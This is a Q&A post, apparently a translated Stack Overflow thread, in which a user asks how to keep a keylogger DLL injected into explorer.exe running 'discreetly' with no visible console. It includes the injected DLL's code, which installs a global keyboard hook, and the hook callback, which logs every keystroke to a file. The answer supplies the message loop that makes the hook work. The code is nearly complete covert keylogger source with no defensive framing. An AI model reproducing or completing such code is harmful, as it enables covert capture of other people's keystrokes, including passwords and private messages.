我正在尝试在Windows 7上创建一个键盘记录器。为此,我创建了一个我在explorer.exe的新线程中注入的Dll(setHook.dll
)。在第一个DLL中,我打开另一个dll,其中包含在每个键盘输入上调用的函数(hookfunc
)。
我需要让我的Dll在后台工作,因为如果它死了,我就失去了我的Hook功能。 为此,我尝试过:
Sleep(INFINITE);
:工作片刻但是explorer.exe崩溃while(1);
:工作片刻但是explorer.exe崩溃system("pause")
:工作!但我不希望屏幕上出现控制台,我的键盘记录器必须谨慎。getchar()
:与system("pause")
相同; system("pause > null");
:拒绝访问this_thread::sleep_for(chrono::seconds(10))
:资源管理器崩溃SetHook.dll:
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc:(我觉得它不会有帮助)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
代码有效,我只需要一个谨慎的无限循环而不是Sleep(INFINITE)。有什么想法吗?
答案 0 :(得分:2)
在DllMain睡觉几乎肯定是个坏主意。
我假设您正在尝试安装global hook。为此,您需要在注入器应用程序中运行message loop,例如:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}